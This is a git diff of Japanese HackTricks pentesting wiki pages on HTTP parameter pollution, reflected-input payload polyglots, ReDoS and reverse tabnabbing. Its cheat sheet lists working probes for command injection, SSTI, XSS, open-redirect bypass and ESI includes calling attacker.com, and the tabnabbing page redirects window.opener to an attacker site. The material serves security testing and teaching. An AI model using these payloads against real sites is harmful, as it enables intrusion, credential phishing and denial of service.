この操作により、トランザクションが `accountA` の代わりに `accountC` に誤って請求される可能性があり、HPPがトランザクションやパスワードリセット、2FA設定、APIキー要求などの機能を操作する可能性を示しています。
取引が `accountA` ではなく `accountC` に誤って請求される可能性があり、HPPが取引やパスワードリセット、2FA設定、APIキーリクエストなどの他の機能を操作する可能性を示しています。
### **技術有のパラメータ解析**
### **技術有のパラメータ解析**
- パラメータの解析と優先順位付け方法は、基礎となるWeb技術に依存し、HPPの悪用方法に影響を与えます。
- パラメータが解析され、優先される方法は、基盤となるウェブ技術によって異なり、HPPがどのように悪用されるかに影響を与えます。
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)のようなツールは、これらの技術とその解析動作を特定するのに役立ちます。
## PHPとHPPの悪用
**OTP操作のケース:**
**OTP操作ケース:**
- **コンテキスト:** OTPを必要とするログインメカニズムが悪用されました。
- **方法:** Burp Suiteなどのツールを使用してOTPリクエストを傍受し、HTTPリクエスト内の `email` パラメータを複製しました。
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して、不正アクセスが可能となりました。
- **コンテキスト:** ワンタイムパスワード (OTP) を必要とするログインメカニズムが悪用されました。
- **方法:** Burp Suiteのようなツールを使用してOTPリクエストを傍受し、攻撃者はHTTPリクエスト内の `email` パラメータを複製しました。
- **結果:** 初期のメール用に意図されたOTPが、操作されたリクエストで指定された2番目のメールアドレスに送信されました。この欠陥により、意図されたセキュリティ対策を回避して不正アクセスが可能になりました。
このシナリオは、OTP生成のために最初の `email` パラメータを処理するアプリケーションのバックエンドで重大な見落としが示されていますが、配信には最後の `email` パラメータが使用されました
このシナリオは、OTP生成のために最初の `email` パラメータを処理したが、配信には最後のものを使用したアプリケーションのバックエンドの重大な見落としを強調しています
**APIキー操作のケース:**
**APIキー操作ケース:**
- **シナリオ:** アプリケーションがユーザーにプロファイル設定ページを介してAPIキーを更新することを許可しています。
- **攻撃ベクトル:** 攻撃者、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
- **手法:** Burp Suiteのようなツールを使用して、攻撃者はリクエストを作成しました。このリクエストには2つの `api_key` パラメータが含まれており、1つは正当で、もう1つは悪意を持っています。サーバーは最後の出現のみを処理し、APIキーを攻撃者が提供した値に更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、権限なくプライベートデータにアクセスしたり変更したりする可能性があります。
- **シナリオ:** アプリケーションは、ユーザーがプロフィール設定ページを通じてAPIキーを更新できるようにしています。
- **攻撃ベクトル:** 攻撃者、POSTリクエストに追加の `api_key` パラメータを追加することで、APIキー更新機能の結果を操作できることを発見しました。
- **技術:** Burp Suiteのようなツールを利用して、攻撃者は1つの正当な `api_key` パラメータと1つの悪意のある `api_key` パラメータを含むリクエストを作成します。サーバーは最後の出現のみを処理し、攻撃者が提供した値にAPIキーを更新します。
- **結果:** 攻撃者は被害者のAPI機能を制御し、プライベートデータに不正にアクセスまたは変更する可能性があります。
この例は、特にAPIキー管理などの重要な機能でセキュアなパラメータ処理の必要性を強調しています。
この例は、特にAPIキー管理のような重要な機能における安全なパラメータ処理の必要性をさらに強調しています。
## パラメータ解析: Flask vs. PHP
## パラメータ解析Flask vs. PHP
Web技術が重複するHTTPパラメータを処理する方法は異なり、HPP攻撃への脆弱性に影響します:
ウェブ技術が重複したHTTPパラメータを処理する方法は異なり、HPP攻撃に対する脆弱性に影響を与えます:
- **Flask:** クエリ文字列 `a=1&a=2` 最初に遭遇したパラメータ値を採用し、初のインスタンスを後続の重複よりも優先します。
- **PHPApache HTTP Server上:** 対照的に、与えられた例では `a=2` を選択し、最後のパラメータ値を優先します。この動作は、攻撃者の操作されたパラメータを元のパラメータよりも優先することで、HPPの悪用を誤って容易にする可能性があります。
- **Flask:** クエリ文字列 `a=1&a=2` のように、最初に遭遇したパラメータ値を採用し、初のインスタンスを後続の重複よりも優先します。
- **PHP (Apache HTTPサーバー上):** 逆に、最後のパラメータ値を優先し、与えられた例では `a=2` を選択します。この動作は、攻撃者の操作されたパラメータを元のものよりも優先することによって、HPPの悪用を無意識に助長する可能性があります。
## 参考文献
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
@ -74,17 +75,18 @@ Web技術が重複するHTTPパラメータを処理する方法は異なり、H
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# 反射技術 - PoCsとPolygloths チートシート
# Reflecting Techniques - PoCs and Polygloths CheatSheet
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
これらのPoCsとPolyglothsの目的は、テスターに、**入力がレスポンスに反映される場合に悪用できる脆弱性の簡単な** **概要**を提供することです。
これらのPoCとポリグロスの目的は、テスターに**応答に反映される可能性のある脆弱性の迅速な要約**を提供することです。
{% hint style="warning" %}
この **チートシートには各脆弱性の包括的なテストリストは提案されていません**。基本的なものだけです。より包括的なテストをお探しの場合は、提案された各脆弱性にアクセスしてください。
この**チートシートは各脆弱性の包括的なテストリストを提案していません**、基本的なもののみです。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。
{% endhint %}
{% hint style="danger" %}
**XXEのようなContent-Typeに依存するインジェクション**は見つけることができません。通常、XMLデータを送信するリクエストを見つけた場合は、自分で試すことになります。また、ここでは **データベースインジェクション** も見つけることができません。一部のコンテンツが反映される場合でも、バックエンドのDB技術と構造に大きく依存します。
**XXEのようなContent-Type依存のインジェクションは見つかりません**、通常、XMLデータを送信するリクエストを見つけた場合は自分で試すことになります。ここでは**データベースインジェクションも見つかりません**、なぜなら一部のコンテンツが反映される可能性があっても、バックエンドDB技術と構造に大きく依存するからです。
{% endhint %}
## Polygloths リスト
## ポリグロスリスト
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -66,7 +67,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
```
## [クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md)
### 基本的なテスト
### 基本テスト
```
{{7*7}}
[7*7]
@ -125,7 +126,7 @@ http://asdasdasdasd.burpcollab.com/mal.php
```
## [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
### 基本的なテスト
### 基本テスト
```bash
www.whitelisted.com
www.whitelisted.com.evil.com
@ -150,17 +151,17 @@ javascript:alert(1)
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
### ポリグロット
### ポリグロ
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/)
オープンリダイレクトに使用されるテストと同じものがここでも使用できます。
Open Redirectで使用されるのと同じテストがここでも使用できます。
## [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/)
### 基本的なテスト
### 基本テスト
```markup
${{<%[%'"}}%\
{{7*7}}
@ -180,7 +181,7 @@ ${{7*7}}
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### ポリグロット
### ポリグロ
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
@ -192,7 +193,7 @@ ${{7*7}}
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### ポリグロット
### ポリグロ
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -220,16 +221,17 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,53 +1,54 @@
# 正規表現によるサービス拒否攻撃 - ReDoS
# 正規表現サービス拒否攻撃 - ReDoS
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **HackTricks****HackTricks Cloud** のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# 正規表現によるサービス拒否攻撃ReDoS
# 正規表現サービス拒否攻撃 (ReDoS)
**正規表現によるサービス拒否攻撃ReDoS** は、正規表現(テキスト内のパターンを検索および一致させる方法)の動作方法の弱点を悪用することで発生します。 時々、正規表現が使用されると、特に処理するテキストのサイズが大きくなると、非常に遅くなることがあります。 この遅延は、テキストサイズがわずかに増加するだけで非常に速く成長することがあります。 攻撃者はこの問題を利用して、正規表現を使用するプログラムを長時間正常に動作しないようにすることができます。
**正規表現サービス拒否攻撃 (ReDoS)** は、誰かが正規表現(テキスト内のパターンを検索し一致させる方法)の動作の弱点を利用することで発生します。正規表現が使用されると、特に処理するテキストが大きくなると、非常に遅くなることがあります。この遅さは、テキストサイズがわずかに増加するだけで急速に悪化することがあります。攻撃者はこの問題を利用して、正規表現を使用するプログラムが長時間正常に動作しないようにすることができます。
## 問題のある正規表現ナイーブアルゴリズム
## 問題のあるRegexナイーブアルゴリズム
**詳細は[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)を確認してください**
**詳細は[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)を確認してください**
## 悪意のある正規表現 <a href="#evil-regexes" id="evil-regexes"></a>
## 悪意のあるRegex <a href="#evil-regexes" id="evil-regexes"></a>
悪意のある正規表現パターンは、**DoSを引き起こすように作成された入力でスタックする**ものです。 悪意のある正規表現パターンには、通常、繰り返しを含むグループ化や繰り返し、または繰り返しグループ内でのオーバーラップが含まれます。 悪意のあるパターンの例には、次のものがあります:
悪意のある正規表現パターンとは、**作成された入力に引っかかり、DoSを引き起こす**ことができるものです。悪意のある正規表現パターンは、通常、繰り返しを伴うグループ化や、繰り返しまたは重複を含む選択肢を含んでいます。悪意のあるパターンのいくつかの例は次のとおりです:
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
* (.*a){x}ただし、x > 10
* (.*a){x} for x > 10
これらすべてが入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。
これらはすべて、入力 `aaaaaaaaaaaaaaaaaaaaaaaa!` に対して脆弱です。
## ReDoS ペイロード
## ReDoSペイロード
### ReDoS を介した文字列の外部流出
### ReDoSによる文字列の流出
CTFまたはバグバウンティでは、おそらく **機密情報(フラグ)が一致する正規表現を制御できる**場合があります。 その場合、**正規表現が一致した場合にページをフリーズさせる(タイムアウトまたは処理時間を延長する)**と便利かもしれません。 これにより、文字列を **1文字ずつ外部に流出** できます:
CTFまたはバグバウンティでは、**正規表現が一致する機密情報(フラグ)を制御している**かもしれません。その場合、**正規表現が一致した場合にページをフリーズ(タイムアウトまたは長い処理時間)させる**ことが有用です。そうすることで、**文字列を1文字ずつ流出させる**ことができます:
* [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) で、このReDoSルールを見つけることができます `^(?=<flag>)((.*)*)*salt$`
* 例: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) では、次のものが見つかります:`<flag>(((((((.*)*)*)*)*)*)*)!`
* [**この解説**](https://ctftime.org/writeup/25869) では、次のものを使用しました: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
* [**この投稿**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)で、このReDoSルールを見つけることができます`^(?=<flag>)((.*)*)*salt$`
* 例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* [**この解説**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)では、次のものが見つかります:`<flag>(((((((.*)*)*)*)*)*)*)!`
* [**この解説**](https://ctftime.org/writeup/25869)では、次のものが使用されました:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### 入力と正規表現を制御する ReDoS
### ReDoSの入力と正規表現の制御
以下は、**入力**と**正規表現の両方を制御**する **ReDoS** の例です:
以下は、**入力**と**正規表現**の両方を**制御**する**ReDoS**の例です:
```javascript
function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
@ -88,16 +89,17 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,45 +1,46 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# 説明
**攻撃者**が**被害者**によってクリックされる**`target="_blank" rel="opener"`**属性を持つ**`<a`**タグの**`href`**引数を**制御**できる状況では、**攻撃者**はこの**リンク**を自分のコントロール下にあるWebページ**悪意のある** **ウェブサイト****向ける**ことができますその後、**被害者**がリンクをクリックして攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**は**javascript**オブジェクト**`window.opener`**を介して**元のページ****制御**できるようになります。\
ページに**`rel="opener"`**がないが、`target="_blank"`を含んでおり、`rel="noopener"`を持っていない場合、脆弱性がある可能性があります。
**攻撃者**が**`<a`**タグの**`href`**引数を制御できる状況で属性**`target="_blank" rel="opener"`**が設定されている場合、**攻撃者**はこの**リンク**を自分の制御下にあるウェブサイト**悪意のある** **ウェブサイト**に向けます次に、**被害者がリンクをクリック**して攻撃者のウェブサイトにアクセスするとこの**悪意のある** **ウェブサイト**は**`window.opener`**というjavascriptオブジェクトを介して**元の** **ページ****制御**できるようになります。\
ページに**`rel="opener"`**がないが**`target="_blank"`**が含まれている場合、**`rel="noopener"`**がない場合も脆弱である可能性があります。
この動作を悪用する通常の方法は、`window.opener.location = https://attacker.com/victim.html`を介して**元のWeb**の**場所を変更**し、**元のWeb**に似ている**攻撃者によって制御されるWeb**にリダイレクトし、ユーザーに資格情報を要求する**元のWeb**の**ログインフォーム**を**模倣**することです。
この動作を悪用する一般的な方法は、**元のウェブの位置を変更**することです。`window.opener.location = https://attacker.com/victim.html`を使用して、攻撃者が制御する**元のものに似た**ウェブサイトに変更し、元のウェブサイトの**ログイン** **フォーム**を模倣してユーザーに資格情報を要求することです。
ただし、**攻撃者が今や元のWebサイトのウィンドウオブジェクトを制御できる**ようになったため、他の方法で**ステルス攻撃**を実行するためにそれを悪用することができますおそらくjavascriptイベントを変更して情報を彼が制御するサーバーに送信するなど
ただし、**攻撃者が元のウェブサイトのウィンドウオブジェクトを制御できるため**、他の方法でそれを悪用して**より巧妙な攻撃**を行うことができることに注意してくださいおそらくjavascriptイベントを変更して、彼が制御するサーバーに情報を流出させる
# 概要
## バックリンクを使用した場合
## バックリンクあり
防属性が使用されていない場合の親ページと子ページ間のリンク:
属性が使用されていない場合の親ページと子ページ間のリンク:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## バックリンクを使用しない場合
## バックリンクなし
防属性が使用されている場合の親ページと子ページ間のリンク:
属性が使用されている場合の親ページと子ページ間のリンク:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## 例 <a href="#examples" id="examples"></a>
以下のページをフォルダに作成し、`python3 -m http.server`でWebサーバーを実行してください\
その後、`http://127.0.0.1:8000/`vulnerable.htmlに**アクセス**し、リンクを**クリック**して、**元のウェブサイトのURLが変更**される方法に注意してください
フォルダーに次のページを作成し、`python3 -m http.server`でウェブサーバーを実行します。\
次に、**アクセス** `http://127.0.0.1:8000/`vulnerable.html、**クリック**してリンクをクリックし、**元の** **ウェブサイト**の**URL**が**変更**される様子を確認します
{% code title="vulnerable.html" %}
```markup
@ -79,22 +80,37 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## アクセス可能なプロパティ <a href="#accessible-properties" id="accessible-properties"></a>
異なるドメイン間でアクセスが発生するシナリオでは、**cross-origin**アクセスが発生し、悪意のあるサイトによってアクセスできる**opener** JavaScriptオブジェクト参照によって参照される**window** JavaScriptクラスインスタンスのプロパティは以下に制限されます:
**クロスオリジン** アクセスが発生するシナリオでは(異なるドメイン間のアクセス)、悪意のあるサイトがアクセスできる **opener** JavaScript オブジェクト参照によって参照される **window** JavaScript クラスインスタンスのプロパティは以下のように制限されます:
